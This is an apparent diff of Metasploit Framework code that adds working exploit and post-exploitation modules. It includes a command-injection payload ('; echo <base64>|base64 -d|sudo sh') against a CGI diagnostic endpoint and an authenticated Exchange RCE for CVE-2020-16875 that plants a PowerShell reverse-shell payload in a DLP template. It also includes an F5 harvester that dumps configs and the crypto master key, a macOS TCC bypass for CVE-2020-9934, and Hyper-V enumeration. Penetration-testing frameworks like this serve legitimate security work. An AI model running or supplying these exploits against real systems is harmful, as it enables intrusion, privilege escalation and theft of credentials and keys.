|
||||
def execute_command(cmd, _opts = {})
|
||||
vars_post = {
|
||||
'DIAGNOSIS' => ['PING', 'TRACEROUTE'].sample,
|
||||
'PARAM' => ";echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'PDC', 'ajaxreq.php'),
|
||||
'vars_post' => vars_post
|
||||
}, 5)
|
||||
|
||||
if res && !res.body.blank?
|
||||
vprint_status("Command output: #{res.body.gsub(/<br>/, "\n")}")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.arch.first == ARCH_CMD
|
||||
execute_command(payload.encoded)
|
||||
else
|
||||
execute_cmdstager(linemax: 1_500, background: true)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,251 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
|
||||
'Description' => %q{
|
||||
This vulnerability allows remote attackers to execute arbitrary code
|
||||
on affected installations of Exchange Server. Authentication is
|
||||
required to exploit this vulnerability. Additionally, the target user
|
||||
must have the "Data Loss Prevention" role assigned and an active
|
||||
mailbox.
|
||||
|
||||
If the user is in the "Compliance Management" or greater "Organization
|
||||
Management" role groups, then they have the "Data Loss Prevention"
|
||||
role. Since the user who installed Exchange is in the "Organization
|
||||
Management" role group, they transitively have the "Data Loss
|
||||
Prevention" role.
|
||||
|
||||
The specific flaw exists within the processing of the New-DlpPolicy
|
||||
cmdlet. The issue results from the lack of proper validation of
|
||||
user-supplied template data when creating a DLP policy. An attacker
|
||||
can leverage this vulnerability to execute code in the context of
|
||||
SYSTEM.
|
||||
|
||||
Tested against Exchange Server 2016 CU14 on Windows Server 2016.
|
||||
},
|
||||
'Author' => [
|
||||
'mr_me', # Discovery, exploits, and most of the words above
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-16875'],
|
||||
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
|
||||
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
|
||||
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
|
||||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
|
||||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
|
||||
],
|
||||
'DisclosureDate' => '2020-09-08', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Exchange Server 2016 and 2019 w/o KB4577352', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
|
||||
'HttpClientTimeout' => 5,
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [
|
||||
IOC_IN_LOGS,
|
||||
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
|
||||
CONFIG_CHANGES, # Creates a new DLP policy
|
||||
ARTIFACTS_ON_DISK # Uses a DLP policy template file
|
||||
]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
||||
OptString.new('USERNAME', [false, 'OWA username']),
|
||||
OptString.new('PASSWORD', [false, 'OWA password'])
|
||||
])
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
true
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to check.')
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('<title>Outlook</title>')
|
||||
return CheckCode::Unknown('Target does not appear to be running OWA.')
|
||||
end
|
||||
|
||||
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
|
||||
end
|
||||
|
||||
def exploit
|
||||
owa_login
|
||||
create_dlp_policy(retrieve_viewstate)
|
||||
end
|
||||
|
||||
def owa_login
|
||||
unless username && password
|
||||
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
|
||||
end
|
||||
|
||||
print_status("Logging in to OWA with creds #{username}:#{password}")
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
|
||||
'vars_post' => {
|
||||
'username' => username,
|
||||
'password' => password,
|
||||
'flags' => '',
|
||||
'destination' => full_uri('/owa/', vhost_uri: true)
|
||||
},
|
||||
'keep_cookies' => true
|
||||
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
|
||||
end
|
||||
|
||||
unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
|
||||
if res.body.include?('There are too many active sessions connected to this mailbox.')
|
||||
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
|
||||
end
|
||||
|
||||
if res.body.include?('Choose your preferred display language and home time zone below.')
|
||||
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
|
||||
end
|
||||
|
||||
print_good('Successfully logged in to OWA')
|
||||
end
|
||||
|
||||
def retrieve_viewstate
|
||||
print_status('Retrieving ViewState from DLP policy creation page')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
||||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
|
||||
end
|
||||
|
||||
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
|
||||
end
|
||||
|
||||
print_good('Successfully retrieved ViewState')
|
||||
viewstate
|
||||
end
|
||||
|
||||
def create_dlp_policy(viewstate)
|
||||
print_status('Creating custom DLP policy from malicious template')
|
||||
vprint_status("DLP policy name: #{dlp_policy_name}")
|
||||
|
||||
form_data = Rex::MIME::Message.new
|
||||
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
|
||||
form_data.add_part(
|
||||
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
|
||||
nil,
|
||||
nil,
|
||||
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
|
||||
)
|
||||
form_data.add_part(
|
||||
dlp_policy_name,
|
||||
nil,
|
||||
nil,
|
||||
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
|
||||
)
|
||||
form_data.add_part(
|
||||
dlp_policy_template,
|
||||
'text/xml',
|
||||
nil,
|
||||
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
|
||||
)
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
||||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'data' => form_data.to_s
|
||||
}, 0)
|
||||
end
|
||||
|
||||
def dlp_policy_template
|
||||
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
|
||||
<<~XML
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<dlpPolicyTemplates>
|
||||
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
|
||||
<contentVersion>4</contentVersion>
|
||||
<publisherName>Metasploit</publisherName>
|
||||
<name>
|
||||
<localizedString lang="en">#{dlp_policy_name}</localizedString>
|
||||
</name>
|
||||
<description>
|
||||
<localizedString lang="en">wvu was here</localizedString>
|
||||
</description>
|
||||
<keywords></keywords>
|
||||
<ruleParameters></ruleParameters>
|
||||
<policyCommands>
|
||||
<commandBlock>
|
||||
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
|
||||
</commandBlock>
|
||||
</policyCommands>
|
||||
<policyCommandsResources></policyCommandsResources>
|
||||
</dlpPolicyTemplate>
|
||||
</dlpPolicyTemplates>
|
||||
XML
|
||||
end
|
||||
|
||||
def dlp_policy_name
|
||||
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
|
||||
end
|
||||
|
||||
def dlp_policy_filename
|
||||
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,199 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/auxiliary/f5'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Auxiliary::F5
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'F5 Gather Device General Information',
|
||||
'Description' => %q{
|
||||
This module collects a F5's device information and configuration.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'h00die'],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
# Get device prompt
|
||||
prompt = session.shell_command('?')
|
||||
started_tmos = false
|
||||
unless prompt.include? 'Commands:'
|
||||
started_tmos = true
|
||||
print_status('Moving to TMOS prompt')
|
||||
session.shell_command('tmsh')
|
||||
end
|
||||
prompt = session.shell_command('')
|
||||
|
||||
# Get version info
|
||||
system_out = session.shell_command('show /sys version')
|
||||
# https://support.f5.com/csp/article/K8759
|
||||
ver_loc = store_loot('f5.version',
|
||||
'text/plain',
|
||||
session,
|
||||
system_out.strip,
|
||||
'config.txt',
|
||||
'F5 Version')
|
||||
vprint_good("Config information stored in to loot #{ver_loc}")
|
||||
if /^Main Package(?<content>.+)\n\n/m =~ system_out # just capture the content to parse
|
||||
ver = []
|
||||
if /^\s+Product\s+(?<product>[\w-]+)$/ =~ content
|
||||
ver << product
|
||||
end
|
||||
if /^\s+Version\s+(?<version>[\d\.]+)$/ =~ content
|
||||
ver << version
|
||||
end
|
||||
if /^\s+Build\s+(?<build>[\d\.]+)$/ =~ content
|
||||
ver << build
|
||||
end
|
||||
print_good("Version: #{ver.join(' ')}") unless ver.empty?
|
||||
else
|
||||
print_bad('Unable to obtain system version information')
|
||||
end
|
||||
# run additional information gathering
|
||||
|
||||
enum_tmos_configs(prompt)
|
||||
if started_tmos
|
||||
session.shell_command('quit') # exit tmos
|
||||
else
|
||||
session.shell_command('bash') # go to bash from tmos
|
||||
end
|
||||
enum_configs(prompt)
|
||||
end
|
||||
|
||||
def enum_tmos_configs(prompt)
|
||||
host = session.session_host
|
||||
port = session.session_port
|
||||
exec_commands = [
|
||||
{
|
||||
'cmd' => 'show sys',
|
||||
'fn' => 'show_sys',
|
||||
'desc' => 'Get Device System Information on F5 Device'
|
||||
},
|
||||
{
|
||||
'cmd' => 'show auth',
|
||||
'fn' => 'show_auth',
|
||||
'desc' => 'Get User Account and Authentication Information on F5 Device'
|
||||
},
|
||||
{
|
||||
'cmd' => 'show cm',
|
||||
'fn' => 'show_cm',
|
||||
'desc' => 'Get Configuration Management Information on F5 Device'
|
||||
},
|
||||
{
|
||||
'cmd' => 'show net',
|
||||
'fn' => 'show_net',
|
||||
'desc' => 'Get Network Information on F5 Device'
|
||||
},
|
||||
{
|
||||
'cmd' => 'show running-config',
|
||||
'fn' => 'show_running_config',
|
||||
'desc' => 'Get Running Config on F5 Device'
|
||||
},
|
||||
{
|
||||
'cmd' => 'show sys crypto master-key',
|
||||
'fn' => 'show_crypto_key',
|
||||
'desc' => 'Get Crypto Master Key on F5 Device'
|
||||
},
|
||||
]
|
||||
exec_commands.each do |ec|
|
||||
command = ec['cmd']
|
||||
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
|
||||
if cmd_out.include?('Display all')
|
||||
cmd_out += session.shell_command('y')
|
||||
end
|
||||
if cmd_out.include?('---(less')
|
||||
cmd_out += session.shell_command(" \n" * 20) # 20 pages should be enough
|
||||
end
|
||||
|
||||
# loop to ensure we get all content within the 5 sec window
|
||||
loop do
|
||||
break unless out_tmp = session.shell_read
|
||||
cmd_out << out_tmp
|
||||
end
|
||||
|
||||
print_status("Gathering info from #{command}")
|
||||
cmd_loc = store_loot("F5.#{ec['fn']}",
|
||||
'text/plain',
|
||||
session,
|
||||
cmd_out.strip,
|
||||
"#{ec['fn']}.txt",
|
||||
ec['desc'])
|
||||
vprint_good("Saving to #{cmd_loc}")
|
||||
f5_config_eater(host, port, cmd_out.strip, store=false)
|
||||
end
|
||||
end
|
||||
|
||||
def enum_configs(prompt)
|
||||
host = session.session_host
|
||||
port = session.session_port
|
||||
# https://support.f5.com/csp/article/K26582310
|
||||
exec_commands = [
|
||||
{
|
||||
# High-level traffic management and system configuration, such as virtual servers,
|
||||
# profiles, access policies, iRules, and authentication settings
|
||||
'cmd' => 'cat /config/bigip.conf',
|
||||
'fn' => 'bigip.conf',
|
||||
'desc' => 'Get Config on F5 Device'
|
||||
},
|
||||
{
|
||||
# Base-level network and system configuration, such as VLANs, self IPs,
|
||||
# device service clustering (DSC), and provisioning
|
||||
'cmd' => 'cat /config/bigip_base.conf',
|
||||
'fn' => 'bigip_base.conf',
|
||||
'desc' => 'Get Base Config on F5 Device'
|
||||
},
|
||||
{
|
||||
# BIG-IP GTM/DNS-specific configuration such as Wide IPs, pools, data centers,
|
||||
# and servers
|
||||
'cmd' => 'cat /config/bigip_gtm.conf',
|
||||
'fn' => 'bigip_gtm.conf',
|
||||
'desc' => 'Get GTM Config on F5 Device'
|
||||
},
|
||||
{
|
||||
# Custom iApps templates
|
||||
'cmd' => 'cat /config/bigip_script.conf',
|
||||
'fn' => 'bigip_script.conf',
|
||||
'desc' => 'Get iApps templates on F5 Device'
|
||||
},
|
||||
{
|
||||
# User account configuration
|
||||
'cmd' => 'cat /config/bigip_user.conf',
|
||||
'fn' => 'bigip_user.conf',
|
||||
'desc' => 'Get User Config on F5 Device'
|
||||
},
|
||||
{
|
||||
# Custom BIG-IP system alerts
|
||||
'cmd' => 'cat /config/user_alert.conf',
|
||||
'fn' => 'user_alert.conf',
|
||||
'desc' => 'Get System Alerts on F5 Device'
|
||||
},
|
||||
]
|
||||
exec_commands.each do |ec|
|
||||
command = ec['cmd']
|
||||
cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')
|
||||
print_status("Gathering info from #{command}")
|
||||
if cmd_out.include?('No such file or directory') || cmd_out.strip == ''
|
||||
print_error('File not found or empty')
|
||||
next
|
||||
end
|
||||
cmd_loc = store_loot("F5.#{ec['fn']}",
|
||||
'text/plain',
|
||||
session,
|
||||
cmd_out.strip,
|
||||
"#{ec['fn']}.txt",
|
||||
ec['desc'])
|
||||
vprint_good("Saving to #{cmd_loc}")
|
||||
f5_config_eater(host, port, cmd_out.strip, store=false)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,107 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Bypass the macOS TCC Framework',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the TCC daemon on macOS Catalina
|
||||
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
|
||||
manipulated (by setting the HOME environment variable) to use a new user
|
||||
controlled location as the TCC database. We can then grant ourselves
|
||||
entitlements by inserting them into this new database.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'mattshockl', # discovery
|
||||
'timwr', # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-9934'],
|
||||
['URL', 'https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8'],
|
||||
['URL', 'https://github.com/mattshockl/CVE-2020-9934'],
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
system_version = get_system_version
|
||||
unless system_version
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
version = Gem::Version.new(system_version)
|
||||
if version >= Gem::Version.new('10.15.6')
|
||||
return Exploit::CheckCode::Safe
|
||||
elsif version < Gem::Version.new('10.15.0')
|
||||
return Exploit::CheckCode::Unknown
|
||||
else
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if check != Exploit::CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}"
|
||||
tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC"
|
||||
tccdb = "#{tccdir}/TCC.db"
|
||||
|
||||
print_status("Creating TCC directory #{tccdir}")
|
||||
cmd_exec("mkdir -p '#{tccdir}'")
|
||||
cmd_exec("launchctl setenv HOME '#{tmpdir}'")
|
||||
cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
|
||||
unless file_exist?(tccdb)
|
||||
print_error("No fake TCC DB found: #{tccdb}")
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
print_good("fake TCC DB found: #{tccdb}")
|
||||
|
||||
tcc_services = [
|
||||
'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService',
|
||||
'kTCCServiceSystemPolicyDeveloperFiles', 'kTCCServiceSystemPolicyDesktopFolder', 'kTCCServiceSystemPolicyAllFiles', 'kTCCServiceSystemPolicyNetworkVolumes',
|
||||
'kTCCServiceSystemPolicySysAdminFiles', 'kTCCServiceSystemPolicyDownloadsFolder'
|
||||
]
|
||||
bundle = 'com.apple.Terminal'
|
||||
csreq = 'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003'
|
||||
isfile = '0'
|
||||
timestamp = 1.year.from_now.to_i.to_s
|
||||
for service in tcc_services
|
||||
sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});"
|
||||
sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"")
|
||||
if sqloutput && !sqloutput.empty?
|
||||
print_error("Output: #{sqloutput.length}")
|
||||
end
|
||||
end
|
||||
print_good('TCC.db was successfully updated!')
|
||||
cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd'
|
||||
cleanup_command << "\nrm -rf '#{tmpdir}'"
|
||||
print_status("To cleanup, run:\n#{cleanup_command}\n")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,50 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows Hyper-V VM Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check if the target machine is a Hyper-V host and, if it is, will return a list of all
|
||||
of the VMs running on the host, as well as stats such as their state, version, CPU Usage, uptime, and status.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'Author' =>
|
||||
[
|
||||
'gwillcox-r7' # Metasploit post module
|
||||
]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
unless have_powershell?
|
||||
fail_with(Failure::NoAccess, "The target does not have PowerShell installed so we can't access the state of the Hyper-V VMs")
|
||||
end
|
||||
results = psh_exec('Get-VM')
|
||||
if results =~ /is not recognized as the name of a cmdlet/
|
||||
print_error('The target is not a Hyper-V host')
|
||||
elsif results =~ /do not have the required permission/
|
||||
print_error('You need to be running as an elevated admin or a user of the Hyper-V Administrators group to run this module')
|
||||
return
|
||||
end
|
||||
vprint_status(results)
|
||||
filtered_result = results.match(/^Name(?:.+\r\n){1,2000}/) # If your running more than 2000 VMs on a single host, you have my sincerest sympathy.
|
||||
if filtered_result.nil?
|
||||
print_error("Sorry, no results were found! Perhaps the target has Hyper-V installed but doesn't have any VMs set up?")
|
||||
return
|
||||
end
|
||||
print_status(filtered_result.to_s)
|
||||
loot_location = store_loot('host.hyperv_vms', 'text/plain', session, filtered_result.to_s, "#{session.session_host}.hyperv_vm_information.txt", "#{session.session_host} Hyper-V VM Information")
|
||||
print_good("Stored loot at #{loot_location}")
|
||||
end
|
||||
end
|
||||
+102
-62
@@ -1,9 +1,12 @@
|
||||
require 'net/https'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
module Msf
|
||||
class Plugin::SessionNotifier < Msf::Plugin
|
||||
|
||||
include Msf::SessionEvent
|
||||
|
||||
class Exception < ::RuntimeError ; end
|
||||
class Exception < ::RuntimeError; end
|
||||
|
||||
class SessionNotifierCommandDispatcher
|
||||
|
||||
@@ -19,6 +22,7 @@ module Msf
|
||||
attr_reader :smtp_from
|
||||
attr_reader :minimum_ip
|
||||
attr_reader :maximum_ip
|
||||
attr_reader :dingtalk_webhook
|
||||
|
||||
def name
|
||||
'SessionNotifier'
|
||||
@@ -35,6 +39,7 @@ module Msf
|
||||
'set_session_mobile_carrier' => 'Set the mobile carrier of the phone',
|
||||
'set_session_minimum_ip' => 'Set the minimum session IP range you want to be notified for',
|
||||
'set_session_maximum_ip' => 'Set the maximum session IP range you want to be notified for',
|
||||
'set_session_dingtalk_webhook' => 'Set the DingTalk webhook for the session notifier (keyword: session).',
|
||||
'save_session_notifier_settings' => 'Save all the session notifier settings to framework',
|
||||
'start_session_notifier' => 'Start notifying sessions',
|
||||
'stop_session_notifier' => 'Stop notifying sessions',
|
||||
@@ -107,38 +112,52 @@ module Msf
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_save_session_notifier_settings(*args)
|
||||
save_settings_to_config
|
||||
print_status("Session Notifier settings saved in config file.")
|
||||
def cmd_set_session_dingtalk_webhook(*args)
|
||||
webhook_url = args[0]
|
||||
if webhook_url.blank?
|
||||
@dingtalk_webhook = nil
|
||||
elsif !(webhook_url =~ URI::DEFAULT_PARSER.make_regexp).nil?
|
||||
@dingtalk_webhook = webhook_url
|
||||
else
|
||||
print_error('Invalid webhook_url')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_start_session_notifier(*args)
|
||||
if is_session_notifier_subscribed?
|
||||
def cmd_save_session_notifier_settings(*_args)
|
||||
save_settings_to_config
|
||||
print_status('Session Notifier settings saved in config file.')
|
||||
end
|
||||
|
||||
def cmd_start_session_notifier(*_args)
|
||||
if session_notifier_subscribed?
|
||||
print_status('You already have an active session notifier.')
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
validate_settings!
|
||||
self.framework.events.add_session_subscriber(self)
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: self.smtp_address,
|
||||
port: self.smtp_port,
|
||||
username: self.smtp_username,
|
||||
password: self.smtp_password,
|
||||
login_type: :login,
|
||||
from: self.smtp_from
|
||||
)
|
||||
@sms_client = Rex::Proto::Sms::Client.new(carrier: self.sms_carrier, smtp_server: smtp)
|
||||
print_status("Session notification started.")
|
||||
framework.events.add_session_subscriber(self)
|
||||
if validate_sms_settings?
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: smtp_address,
|
||||
port: smtp_port,
|
||||
username: smtp_username,
|
||||
password: smtp_password,
|
||||
login_type: :login,
|
||||
from: smtp_from
|
||||
)
|
||||
@sms_client = Rex::Proto::Sms::Client.new(carrier: sms_carrier, smtp_server: smtp)
|
||||
print_status('Session notification started.')
|
||||
elsif !dingtalk_webhook.nil?
|
||||
print_status('DingTalk notification started.')
|
||||
end
|
||||
rescue Msf::Plugin::SessionNotifier::Exception, Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_stop_session_notifier(*args)
|
||||
self.framework.events.remove_session_subscriber(self)
|
||||
print_status("Session notification stopped.")
|
||||
def cmd_stop_session_notifier(*_args)
|
||||
framework.events.remove_session_subscriber(self)
|
||||
print_status('Session notification stopped.')
|
||||
end
|
||||
|
||||
def cmd_restart_session_notifier(*args)
|
||||
@@ -148,7 +167,7 @@ module Msf
|
||||
|
||||
def on_session_open(session)
|
||||
subject = "You have a new #{session.type} session!"
|
||||
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info.to_s}\"" : nil}"
|
||||
msg = "#{session.tunnel_peer} (#{session.session_host}) #{session.info ? "\"#{session.info}\"" : nil}"
|
||||
notify_session(session, subject, msg)
|
||||
end
|
||||
|
||||
@@ -158,15 +177,16 @@ module Msf
|
||||
config_file = Msf::Config.config_file
|
||||
ini = Rex::Parser::Ini.new(config_file)
|
||||
ini.add_group(name) unless ini[name]
|
||||
ini[name]['smtp_address'] = self.smtp_address
|
||||
ini[name]['smtp_port'] = self.smtp_port
|
||||
ini[name]['smtp_username'] = self.smtp_username
|
||||
ini[name]['smtp_password'] = self.smtp_password
|
||||
ini[name]['smtp_from'] = self.smtp_from
|
||||
ini[name]['sms_number'] = self.sms_number
|
||||
ini[name]['sms_carrier'] = self.sms_carrier
|
||||
ini[name]['minimum_ip'] = self.minimum_ip.to_s unless self.minimum_ip.blank?
|
||||
ini[name]['maximum_ip'] = self.maximum_ip.to_s unless self.maximum_ip.blank?
|
||||
ini[name]['smtp_address'] = smtp_address
|
||||
ini[name]['smtp_port'] = smtp_port
|
||||
ini[name]['smtp_username'] = smtp_username
|
||||
ini[name]['smtp_password'] = smtp_password
|
||||
ini[name]['smtp_from'] = smtp_from
|
||||
ini[name]['sms_number'] = sms_number
|
||||
ini[name]['sms_carrier'] = sms_carrier
|
||||
ini[name]['minimum_ip'] = minimum_ip.to_s unless minimum_ip.blank?
|
||||
ini[name]['maximum_ip'] = maximum_ip.to_s unless maximum_ip.blank?
|
||||
ini[name]['dingtalk_webhook'] = dingtalk_webhook.to_s unless dingtalk_webhook.blank?
|
||||
ini.to_file(config_file)
|
||||
end
|
||||
|
||||
@@ -175,57 +195,81 @@ module Msf
|
||||
ini = Rex::Parser::Ini.new(config_file)
|
||||
group = ini[name]
|
||||
if group
|
||||
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
|
||||
@sms_number = group['sms_number'] if group['sms_number']
|
||||
@smtp_address = group['smtp_address'] if group['smtp_address']
|
||||
@smtp_port = group['smtp_port'] if group['smtp_port']
|
||||
@smtp_username = group['smtp_username'] if group['smtp_username']
|
||||
@smtp_password = group['smtp_password'] if group['smtp_password']
|
||||
@smtp_from = group['smtp_from'] if group['smtp_from']
|
||||
@minimum_ip = IPAddr.new(group['minimum_ip']) if group['minimum_ip']
|
||||
@maximum_ip = IPAddr.new(group['maximum_ip']) if group['maximum_ip']
|
||||
@sms_carrier = group['sms_carrier'].to_sym if group['sms_carrier']
|
||||
@sms_number = group['sms_number'] if group['sms_number']
|
||||
@smtp_address = group['smtp_address'] if group['smtp_address']
|
||||
@smtp_port = group['smtp_port'] if group['smtp_port']
|
||||
